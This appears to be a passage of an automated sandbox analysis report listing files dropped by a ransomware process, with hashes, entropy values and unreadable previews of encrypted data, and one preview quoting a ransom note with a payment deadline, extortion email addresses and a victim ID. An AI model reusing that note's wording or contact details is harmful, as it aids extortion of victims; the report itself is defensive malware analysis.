                                                                                                                                        Preview:+....^..".Kr..C.=..V..Zm.u...ofW............./....C...:k.^..)e.I.i........l...\4Jl..o..J......8....k..Swmh.....@@.7R.d...7%......K......Zd1.e..S.sc...>G.......so<.;P..W.....?A..X..r....A..f.2.f..\....g....u..^..F.!..dd..1.a..TPJ.......!f.>>I.Eb}..A..e.D.....0...{.+...].C'.QEj.#.b.9K. .>3 .....|.Y..z8.m....E".%.n.OT......~Y.j.)G....&...V...S. ....4y.6Y...`.._....D.8.....p..P..$..u..}...mG.X....%..P.mx....U..;|mP2....1..`..G...h....}$ .)1.B..j..cD..u..bpQ#..Zj.<G.(..q.......1...V..`8.~.om....T..H[.7..wy.. .......BW.=..I.<...* j.G..r.v~Y.U*|.......7.*m....j....].H...aQ.H.t....4^o..[.}......|..|.-..tlZ..g..*.s}...o*y........g.....x.}..8........oY....hA!5...w.k.G.W...r.....).>........T.|... ..u./..ch.n.....\......n5H.....>.'..$..?.,.... y.zu..N~/.6........+.#.. ht..1.s....y.>.f..D.(9...f.a..;X(/N..-/.z,R.w9....al....i....[.G.!3!G....7.....-.........).. .}.:....C}..d;.?V.=3|<6...0....Rt..l5~. *..5.9.-..h.M..z....MU>....V...P4..u(.kR\CA...7;...l...CP
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.858539255557735
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zkCvWRU7iW2tBk6y+adJaZYavyurpdCNqekXLTimpHl5uac3tyUw2TrXAFCUbUDb:ERU7gVv4Ja2aa2pdOqekXniA74tyQTLz
                                                                                                                                        MD5:CC26004C717DD4AB864A2FD3F9C0BFE2
                                                                                                                                        SHA1:83856CEF3DFB6D6579A71923D3D0D0B5E1817A39
                                                                                                                                        SHA-256:85B040D492FDF061E4F92D8C8C5496A83C1CC159BDBE1A974777A0168C74FE33
                                                                                                                                        SHA-512:9CF7A54B0D0CDEE8B859408021AB782F1993DFD5A1E612E24E1C6E0C4405E419201F82E17C6622F6070172FD075BBEFFCB7715F36B48F7A8A712A6030FD910D3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:+....^..".Kr..C.=..V..Zm.u...ofW............./....C...:k.^..)e.I.i........l...\4Jl..o..J......8....k..Swmh.....@@.7R.d...7%......K......Zd1.e..S.sc...>G.......so<.;P..W.....?A..X..r....A..f.2.f..\....g....u..^..F.!..dd..1.a..TPJ.......!f.>>I.Eb}..A..e.D.....0...{.+...].C'.QEj.#.b.9K. .>3 .....|.Y..z8.m....E".%.n.OT......~Y.j.)G....&...V...S. ....4y.6Y...`.._....D.8.....p..P..$..u..}...mG.X....%..P.mx....U..;|mP2....1..`..G...h....}$ .)1.B..j..cD..u..bpQ#..Zj.<G.(..q.......1...V..`8.~.om....T..H[.7..wy.. .......BW.=..I.<...* j.G..r.v~Y.U*|.......7.*m....j....].H...aQ.H.t....4^o..[.}......|..|.-..tlZ..g..*.s}...o*y........g.....x.}..8........oY....hA!5...w.k.G.W...r.....).>........T.|... ..u./..ch.n.....\......n5H.....>.'..$..?.,.... y.zu..N~/.6........+.#.. ht..1.s....y.>.f..D.(9...f.a..;X(/N..-/.z,R.w9....al....i....[.G.!3!G....7.....-.........).. .}.:....C}..d;.?V.=3|<6...0....Rt..l5~. *..5.9.-..h.M..z....MU>....V...P4..u(.kR\CA...7;...l...CP
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853255187902674
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:vxo/r4YxLQZ5WK/stpYK7rl0o/Gqx4F7rFyUJCbf3IuacBMgM9Q:5oT4YBI5n/sTrOwGqyFyUJgBBKQ
                                                                                                                                        MD5:5C17F4D8A4F40D556DC5FC6F192C003F
                                                                                                                                        SHA1:506F5E34B0594F48EDC30085902707F021516D7E
                                                                                                                                        SHA-256:8D620D402B630D0F068AC032DE7B036E8DCAE91AA1D23B86A54AEA63DC28CEF0
                                                                                                                                        SHA-512:9B062D81045986E83163521B4DD5FA63CDB95DC1846C07BE3E6DDD86FCBCA569B3D540E864095A5E299D96DD6CEDD593AA4FF139E7F40364766931FFF5DEBC2D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:6...eV.$.....a?,.....\..a.i;...4..bZ..p.h...A.{I...{G....\...H.". :...\T.J.. 5.....q$.@..^)..Q.....i..w.4..(F?.7^r.O.d..1c..}..).l...V8.8*...4.M..!.Q<{8.cu...X.:.|p;..%...0@...n{uL..M....@....E.x.\.J78.....5Z.....zlr.p..d.....ZNO..f..................+!..|.Q.9.g3.+.r..h.....+B({...<..d...Sl..p...:v....=..w..b..'$.q.8.r../..]sLg.1....$.........>.i.Q.....K|+.7..H<j.N=.8d.|._..(._...Y.\.V.\...Xl>#...|.D..J>m.....Ahw?......rIk.9..s..5.{/..zY.y..$.H......L.'P....4..F......U.^A.....aeD..Hh..o...#.a.<d.S+...x...0.........}<....#...S..G"2y.=.S..i...K..*..-...iA.@zSsVJf...9...&[h~...~..o..M.!.1i..`..9..%....(.u.l>.o........;x.dW-...t..b..#z.."..M...*......i..`....q..CO..C..N.....m6H.07Qx...h..o........1.......wH..K....v....T......D.|...{. . ...O...E....tH........X.....k.2kK..{k...&....)........%.Q.....Ch..."i...Z6MV.....W-S-.0..m.H...'G^:.5').su........BmZ....$..2....oA..$g8@......3...1......r...5.u0:..h.....2.....[.....-....A..$..z.....>
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853255187902674
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:vxo/r4YxLQZ5WK/stpYK7rl0o/Gqx4F7rFyUJCbf3IuacBMgM9Q:5oT4YBI5n/sTrOwGqyFyUJgBBKQ
                                                                                                                                        MD5:5C17F4D8A4F40D556DC5FC6F192C003F
                                                                                                                                        SHA1:506F5E34B0594F48EDC30085902707F021516D7E
                                                                                                                                        SHA-256:8D620D402B630D0F068AC032DE7B036E8DCAE91AA1D23B86A54AEA63DC28CEF0
                                                                                                                                        SHA-512:9B062D81045986E83163521B4DD5FA63CDB95DC1846C07BE3E6DDD86FCBCA569B3D540E864095A5E299D96DD6CEDD593AA4FF139E7F40364766931FFF5DEBC2D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:6...eV.$.....a?,.....\..a.i;...4..bZ..p.h...A.{I...{G....\...H.". :...\T.J.. 5.....q$.@..^)..Q.....i..w.4..(F?.7^r.O.d..1c..}..).l...V8.8*...4.M..!.Q<{8.cu...X.:.|p;..%...0@...n{uL..M....@....E.x.\.J78.....5Z.....zlr.p..d.....ZNO..f..................+!..|.Q.9.g3.+.r..h.....+B({...<..d...Sl..p...:v....=..w..b..'$.q.8.r../..]sLg.1....$.........>.i.Q.....K|+.7..H<j.N=.8d.|._..(._...Y.\.V.\...Xl>#...|.D..J>m.....Ahw?......rIk.9..s..5.{/..zY.y..$.H......L.'P....4..F......U.^A.....aeD..Hh..o...#.a.<d.S+...x...0.........}<....#...S..G"2y.=.S..i...K..*..-...iA.@zSsVJf...9...&[h~...~..o..M.!.1i..`..9..%....(.u.l>.o........;x.dW-...t..b..#z.."..M...*......i..`....q..CO..C..N.....m6H.07Qx...h..o........1.......wH..K....v....T......D.|...{. . ...O...E....tH........X.....k.2kK..{k...&....)........%.Q.....Ch..."i...Z6MV.....W-S-.0..m.H...'G^:.5').su........BmZ....$..2....oA..$g8@......3...1......r...5.u0:..h.....2.....[.....-....A..$..z.....>
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845882157693053
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:wwdTpBb/ElSwj2cXjufi81j9Db1lqXaR01IODgD6IK2Ul5fY:wwdTpt/Elz220i85xRlqXO0mULl5Q
                                                                                                                                        MD5:B3EF975F59063D4BFCC1D1AD8E2498D6
                                                                                                                                        SHA1:19690C35D71D1E5EDFE83A8A2FC14F84B88AB754
                                                                                                                                        SHA-256:9DA36AC88F3ED7DF0734C3F90FD9834F45B085F516CE98AE07E93DF5C9E92BB2
                                                                                                                                        SHA-512:115917D4EE4040E23187E1A76DEE78121D19868C3739E1C659147A24EC5B8DEEECB4F16DCC303D817E832ECC75DB6D0DF69FDB3B220035EAEEE74FC0CD3AECA1
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:q..o..]......4...Z....VpC..W(.....:..e......#..u.6.qy.KY4..Z.4..e^Nu.;.x.]n.p..Ek.kgvg.p....zE.*...R...l.........e.@.T.7...d........*../.a.P!......a...r.d...b0fd....r...>.N.B...r...#..L`Zd.8..K..1\..x'OW#_...G.%.\z....W.:>.*.O......i.]....1.(.E..!1.Rj.7.@^BT.E.. ..p......e(z5.&.^>.....OH..j^.(..G,G...Bq..rJS.#...{C..o....>.H....y....#.%.Z.|i.j.iX..ZO-....?..7.....E.d.v`...9...e..2...4}....<..h..c...R.b...~{{u...FQcY...{y~..D4....S....Q....t.1.s...X..'LEX..W..i.fij#.|h.b.O............3.q0.o..g$...&..7.x..GPQ..B..K.}...[..S7@_[].O...P..Io...#.....9T..*'..m.ru(..i(..1....E.9C.}mn..&*.....':I.Z..C..J.-S..OGB....?...o6...4.....Sm.H..)...R...9.$C...\V.. .6.>o=c...=..o..9...(.jT..h69U..:........N. ..Re.........I.-.B.lB.4..t!....<....b<..V.G....1+.66.2..... ......i...o...e....L1..\C.os..Q6#O.5C..P.%..G%..`.t./..I...d..>.e.ZM.*..#....`...2U....P:B...Y_54.A....w ..Kd."....r..{.......f..n.s..K.=.LY....2.d..Ne.d5.bIuf.].BY......F.....B.'q...f...P.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.845882157693053
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:wwdTpBb/ElSwj2cXjufi81j9Db1lqXaR01IODgD6IK2Ul5fY:wwdTpt/Elz220i85xRlqXO0mULl5Q
                                                                                                                                        MD5:B3EF975F59063D4BFCC1D1AD8E2498D6
                                                                                                                                        SHA1:19690C35D71D1E5EDFE83A8A2FC14F84B88AB754
                                                                                                                                        SHA-256:9DA36AC88F3ED7DF0734C3F90FD9834F45B085F516CE98AE07E93DF5C9E92BB2
                                                                                                                                        SHA-512:115917D4EE4040E23187E1A76DEE78121D19868C3739E1C659147A24EC5B8DEEECB4F16DCC303D817E832ECC75DB6D0DF69FDB3B220035EAEEE74FC0CD3AECA1
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:q..o..]......4...Z....VpC..W(.....:..e......#..u.6.qy.KY4..Z.4..e^Nu.;.x.]n.p..Ek.kgvg.p....zE.*...R...l.........e.@.T.7...d........*../.a.P!......a...r.d...b0fd....r...>.N.B...r...#..L`Zd.8..K..1\..x'OW#_...G.%.\z....W.:>.*.O......i.]....1.(.E..!1.Rj.7.@^BT.E.. ..p......e(z5.&.^>.....OH..j^.(..G,G...Bq..rJS.#...{C..o....>.H....y....#.%.Z.|i.j.iX..ZO-....?..7.....E.d.v`...9...e..2...4}....<..h..c...R.b...~{{u...FQcY...{y~..D4....S....Q....t.1.s...X..'LEX..W..i.fij#.|h.b.O............3.q0.o..g$...&..7.x..GPQ..B..K.}...[..S7@_[].O...P..Io...#.....9T..*'..m.ru(..i(..1....E.9C.}mn..&*.....':I.Z..C..J.-S..OGB....?...o6...4.....Sm.H..)...R...9.$C...\V.. .6.>o=c...=..o..9...(.jT..h69U..:........N. ..Re.........I.-.B.lB.4..t!....<....b<..V.G....1+.66.2..... ......i...o...e....L1..\C.os..Q6#O.5C..P.%..G%..`.t./..I...d..>.e.ZM.*..#....`...2U....P:B...Y_54.A....w ..Kd."....r..{.......f..n.s..K.=.LY....2.d..Ne.d5.bIuf.].BY......F.....B.'q...f...P.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8659608042387825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EqcSyM/nUuF7T2QTn631Mmia5J3EOCp3Brlqr0vXmUPU65Mi:FcSyQnUUWQTnTmiQJCp3Jlqr09PU69
                                                                                                                                        MD5:BCB143E35AF36151508CB13D02125855
                                                                                                                                        SHA1:23FACF099081C9F3E4C15FEC2EDC5599B6C5B909
                                                                                                                                        SHA-256:77B1E667B94BE098D935BBA731F878CA7D4FED840B0E4FD8EA85A717E77D4E30
                                                                                                                                        SHA-512:7A3A5B05CA6F2D7D242395D09B6CECEE935B00237B5F7038BFBBD0B5452FDF970F36552ECF9A86E318241C67FA2F336F572DBD4A13C8DF5A773D459FBAA1A83C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:`..p..B7.V.\......U;f.}7.G........e.....X.*.H.4......p...D...?Y>.fy:.N...G(0..;....=.C...m..~..l..d...9...# ...".......u.....!....|5&SI.{3....DI.....H..9-...K,...t..@.S..d.V.{.C.C.2?(.._e...%5.K...7.....:qwM...R.Q.m...........=.\..j..m...s.....r...@.!...2.9..".`.m.H.g.6..*\.O..F.y.3lb.o7.L.'..e/X......)....!.b...,....~..j..@&...uI.42......X...K.....f^..............!.$.$^..J..Q.a$....].G.Zgp....t...Xu.+.(...>....q..?d\.P,.2..R.>..o.d.ZI...p...*..x/.T=.....o?..m.{..>F..H...{_.15.Y..>..l'.".P.bo_........Z3.d5.......s'....e:........g...{v.<.:0..=@Q.N.)1.....o..0.~p...i....f...Z.S;P.#.k.O...Hr.`.b@..8}.r.a....Uo#..G.........I.....a&P?:.,`X..a....t.BF.SO....n....~..{.I.V...\..+..(...T.......j.X....3..y..I...qXO.G.^.D.:._]&.4(..#.....9iQ.v..)....+.`1.2..u.a..-..|.3dD'.;"H.,.X+%....c..b.p`...u....6.....h....l..0......X.....3...G...s..)G1...1.xc.&<Y....3..U.HY..,.H<E.H....'EQ.rso...i...T..1#..N%M..c.J.'.v....=U..Z.l...Z.!.....i..Ik..g r...%^.MW....u.#~..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8659608042387825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EqcSyM/nUuF7T2QTn631Mmia5J3EOCp3Brlqr0vXmUPU65Mi:FcSyQnUUWQTnTmiQJCp3Jlqr09PU69
                                                                                                                                        MD5:BCB143E35AF36151508CB13D02125855
                                                                                                                                        SHA1:23FACF099081C9F3E4C15FEC2EDC5599B6C5B909
                                                                                                                                        SHA-256:77B1E667B94BE098D935BBA731F878CA7D4FED840B0E4FD8EA85A717E77D4E30
                                                                                                                                        SHA-512:7A3A5B05CA6F2D7D242395D09B6CECEE935B00237B5F7038BFBBD0B5452FDF970F36552ECF9A86E318241C67FA2F336F572DBD4A13C8DF5A773D459FBAA1A83C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:`..p..B7.V.\......U;f.}7.G........e.....X.*.H.4......p...D...?Y>.fy:.N...G(0..;....=.C...m..~..l..d...9...# ...".......u.....!....|5&SI.{3....DI.....H..9-...K,...t..@.S..d.V.{.C.C.2?(.._e...%5.K...7.....:qwM...R.Q.m...........=.\..j..m...s.....r...@.!...2.9..".`.m.H.g.6..*\.O..F.y.3lb.o7.L.'..e/X......)....!.b...,....~..j..@&...uI.42......X...K.....f^..............!.$.$^..J..Q.a$....].G.Zgp....t...Xu.+.(...>....q..?d\.P,.2..R.>..o.d.ZI...p...*..x/.T=.....o?..m.{..>F..H...{_.15.Y..>..l'.".P.bo_........Z3.d5.......s'....e:........g...{v.<.:0..=@Q.N.)1.....o..0.~p...i....f...Z.S;P.#.k.O...Hr.`.b@..8}.r.a....Uo#..G.........I.....a&P?:.,`X..a....t.BF.SO....n....~..{.I.V...\..+..(...T.......j.X....3..y..I...qXO.G.^.D.:._]&.4(..#.....9iQ.v..)....+.`1.2..u.a..-..|.3dD'.;"H.,.X+%....c..b.p`...u....6.....h....l..0......X.....3...G...s..)G1...1.xc.&<Y....3..U.HY..,.H<E.H....'EQ.rso...i...T..1#..N%M..c.J.'.v....=U..Z.l...Z.!.....i..Ik..g r...%^.MW....u.#~..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.828038449559981
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:uL+ydlOcUwn6D6+fMbRZ8PQlvy1W12qpueLqqRkUcfBUb:upX86+fAXyr82lqW6b
                                                                                                                                        MD5:72B77675CC797C3D432F4C0FBAEA9AA0
                                                                                                                                        SHA1:D2D6E48F194037E4004252904441F4B331942446
                                                                                                                                        SHA-256:D2A406712B3A95A79502F8D7513DBADB177760835157A00B07FEEE6A6E227C48
                                                                                                                                        SHA-512:FD66E60A9F7F1054615763B5BBB67379200F6C0900459518601BAE9E9CEB4F1E7A9D900F0F8DED6F91A8F092F6C05302AD1FFE5E42D12B4661325552BE1F8419
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:T......L..j..v"D.M..:.$.D...`...7?.....(p.m.x.x.../\.6.y...a..W.t....(|..3..!.."+2-.*...W.S....P.....I...$v..OJaE.q%Zl+a3....K..3.,k...@k.....4.3r.a.M.m.(jl.u.......u...}c.!.~..|2...$.B.Wu.s.wkM..d...K.#9.....9.../.R.*q.R.......Rua...:P..@1...oV.fSF4.MT..5..^%s-tb........_....E..6E.c1.-.t......L.e..}&..,.q|.*..n....h;...+...3w.....N0.%iD.&.....;.M.Xv.H....*.pd{zV.zY...m+#4...}......A..?.P..S.@P^..*.....H....x&.I{..Z=-H....o.D4~./..+..?..B..'z.1......J....p......-.3.[.e.c..1Z.I....WP..;....!...V....0m.f.4?.J&(&...0.-"..m&,.2.~..D...$H^.........=p.ru..........w-.%..lt|.q)....zJ...&..&....i.b..H..>.b...k..*LSX.....Q.F.;..|. .a9,....2...0....`.Q..q7...].....R.clA..R...B..~U.EYP...J.,k....g..8x.d=b}....p.zd.....o...-P0..M1..7`.....,..`.{.i.i....?P@.<"..F...=".].U.B.-...g......2..C....S.#S......&.^..7.@.k..~..r..f..A...U.>..._...X]..!.L(...$..).M..fI.4.s.....=p.[$.H...Pbw.LG..-.G...t..h.J.9S........;.....7...w.....Q.(..Sk...l.w..>.o..,.!.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.828038449559981
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:uL+ydlOcUwn6D6+fMbRZ8PQlvy1W12qpueLqqRkUcfBUb:upX86+fAXyr82lqW6b
                                                                                                                                        MD5:72B77675CC797C3D432F4C0FBAEA9AA0
                                                                                                                                        SHA1:D2D6E48F194037E4004252904441F4B331942446
                                                                                                                                        SHA-256:D2A406712B3A95A79502F8D7513DBADB177760835157A00B07FEEE6A6E227C48
                                                                                                                                        SHA-512:FD66E60A9F7F1054615763B5BBB67379200F6C0900459518601BAE9E9CEB4F1E7A9D900F0F8DED6F91A8F092F6C05302AD1FFE5E42D12B4661325552BE1F8419
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:T......L..j..v"D.M..:.$.D...`...7?.....(p.m.x.x.../\.6.y...a..W.t....(|..3..!.."+2-.*...W.S....P.....I...$v..OJaE.q%Zl+a3....K..3.,k...@k.....4.3r.a.M.m.(jl.u.......u...}c.!.~..|2...$.B.Wu.s.wkM..d...K.#9.....9.../.R.*q.R.......Rua...:P..@1...oV.fSF4.MT..5..^%s-tb........_....E..6E.c1.-.t......L.e..}&..,.q|.*..n....h;...+...3w.....N0.%iD.&.....;.M.Xv.H....*.pd{zV.zY...m+#4...}......A..?.P..S.@P^..*.....H....x&.I{..Z=-H....o.D4~./..+..?..B..'z.1......J....p......-.3.[.e.c..1Z.I....WP..;....!...V....0m.f.4?.J&(&...0.-"..m&,.2.~..D...$H^.........=p.ru..........w-.%..lt|.q)....zJ...&..&....i.b..H..>.b...k..*LSX.....Q.F.;..|. .a9,....2...0....`.Q..q7...].....R.clA..R...B..~U.EYP...J.,k....g..8x.d=b}....p.zd.....o...-P0..M1..7`.....,..`.{.i.i....?P@.<"..F...=".].U.B.-...g......2..C....S.#S......&.^..7.@.k..~..r..f..A...U.>..._...X]..!.L(...$..).M..fI.4.s.....=p.[$.H...Pbw.LG..-.G...t..h.J.9S........;.....7...w.....Q.(..Sk...l.w..>.o..,.!.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856455979885203
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lQL1VzfyeowpzAfhwy3vmCvFXgdiLGnMOkJ9p2i2XBJH4z0pgXPuRejcukKLBXgx:lQL10wVc+uOKQESkJy3XBlmpWReAKLHq
                                                                                                                                        MD5:A5EAF973BA06A2B3C2A33F0A936AB78E
                                                                                                                                        SHA1:52CB755AA72CA41F2DF553873127F0C9E6A1C3B2
                                                                                                                                        SHA-256:E6885ED1B81E05D2D878BA9BD0F6FFFFEE4B818E00A1FABA17EF4B32E314D25B
                                                                                                                                        SHA-512:2CC0ED8244EEC816960886A5FE0447EAB6CA893DF7D598F087645F159FFB963BE50EC0244DFEEC89226B8EB311F06E2B6A99E7F941A28BD71973A5AF84B386A7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..j.=v.a....j........5..>..x....O6....a6.....nq.OtqO......{...Z...X9.#ZK.9.H$..c-.....Rg....P.....u...b.V..N.@..?......G........iM.=.x.[._.`l...;.l.gC......g...L..h.%..s...7'.;...VY...'l)..2 .T=I.N.k.y&@.).9L*.>;wo......Mh.!3...Ha..8....U.X.P..v...y.6$......7.oZT<.&Y..E.....V.lZ......U...Bs.r..z6..'.G(......x.....&...O.n.'l.kP.o.`.....c.a.....W.y..Ba..u.....s.hjS........BZ.........9.s..)..m..\....l.r..y......`-..W^./.v.7.2..J.g\.&.O.j.2.`..p..N...cX..Z....ut...../..\.t.=Z..i.&..8...*..R(..d...}.=g+.q.?OT4....M>..hFuCkM.'.NxV`.v.&..u...v3.p.c[..........Cg.-C#..7JF.*....:` .R...t.=@|.jEK7.q.....u.4.....WNfv+l....3.YR...j.1B[).6.h..T)?."|<...>Z.<<..`... .A.cl.....H3..a'7..@..m.=.|...=*4...l..PD....5....:..............U.Km.;./...$....,..eb...ge...d.;..A.i3.....Y...m.c.....p....5.V.........^.;.^......F.,R.c.rR7.m.zS]<.?.O.......^''CJ.U.qc.P^..@#..R.-(....../...X.N.g..F'....._........$f.er..+.!...t).e...._....E..V.6..@ACY0.!.8.i.s.g
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856455979885203
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:lQL1VzfyeowpzAfhwy3vmCvFXgdiLGnMOkJ9p2i2XBJH4z0pgXPuRejcukKLBXgx:lQL10wVc+uOKQESkJy3XBlmpWReAKLHq
                                                                                                                                        MD5:A5EAF973BA06A2B3C2A33F0A936AB78E
                                                                                                                                        SHA1:52CB755AA72CA41F2DF553873127F0C9E6A1C3B2
                                                                                                                                        SHA-256:E6885ED1B81E05D2D878BA9BD0F6FFFFEE4B818E00A1FABA17EF4B32E314D25B
                                                                                                                                        SHA-512:2CC0ED8244EEC816960886A5FE0447EAB6CA893DF7D598F087645F159FFB963BE50EC0244DFEEC89226B8EB311F06E2B6A99E7F941A28BD71973A5AF84B386A7
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..j.=v.a....j........5..>..x....O6....a6.....nq.OtqO......{...Z...X9.#ZK.9.H$..c-.....Rg....P.....u...b.V..N.@..?......G........iM.=.x.[._.`l...;.l.gC......g...L..h.%..s...7'.;...VY...'l)..2 .T=I.N.k.y&@.).9L*.>;wo......Mh.!3...Ha..8....U.X.P..v...y.6$......7.oZT<.&Y..E.....V.lZ......U...Bs.r..z6..'.G(......x.....&...O.n.'l.kP.o.`.....c.a.....W.y..Ba..u.....s.hjS........BZ.........9.s..)..m..\....l.r..y......`-..W^./.v.7.2..J.g\.&.O.j.2.`..p..N...cX..Z....ut...../..\.t.=Z..i.&..8...*..R(..d...}.=g+.q.?OT4....M>..hFuCkM.'.NxV`.v.&..u...v3.p.c[..........Cg.-C#..7JF.*....:` .R...t.=@|.jEK7.q.....u.4.....WNfv+l....3.YR...j.1B[).6.h..T)?."|<...>Z.<<..`... .A.cl.....H3..a'7..@..m.=.|...=*4...l..PD....5....:..............U.Km.;./...$....,..eb...ge...d.;..A.i3.....Y...m.c.....p....5.V.........^.;.^......F.,R.c.rR7.m.zS]<.?.O.......^''CJ.U.qc.P^..@#..R.-(....../...X.N.g..F'....._........$f.er..+.!...t).e...._....E..V.6..@ACY0.!.8.i.s.g
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.846618035758926
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4hAEJE84a8do4XZde63aE5n0sS0+5QIMwrjosGPgBn03cv4jDo4VJp:4hHE924JdZR4c/w37V0xDoA
                                                                                                                                        MD5:77FFD19FB110D3814E611C895A17CF6A
                                                                                                                                        SHA1:A2A44F63BC584AEF7B8FE715EBE06098F10BF1C4
                                                                                                                                        SHA-256:7265BDB3B0463116BACC0B228828B5DC000F6F8FD2CA6F9C6E2C825B36353492
                                                                                                                                        SHA-512:3D8BE2D1A8058249C627F69FE807729CA0F3B504BAD71068B94A045D2F5E685963D9E1B340764BD5A7A8A52A76103045AF6D0915F47AFC1ECDFF9771B1F16214
                                                                                                                                        Malicious:false
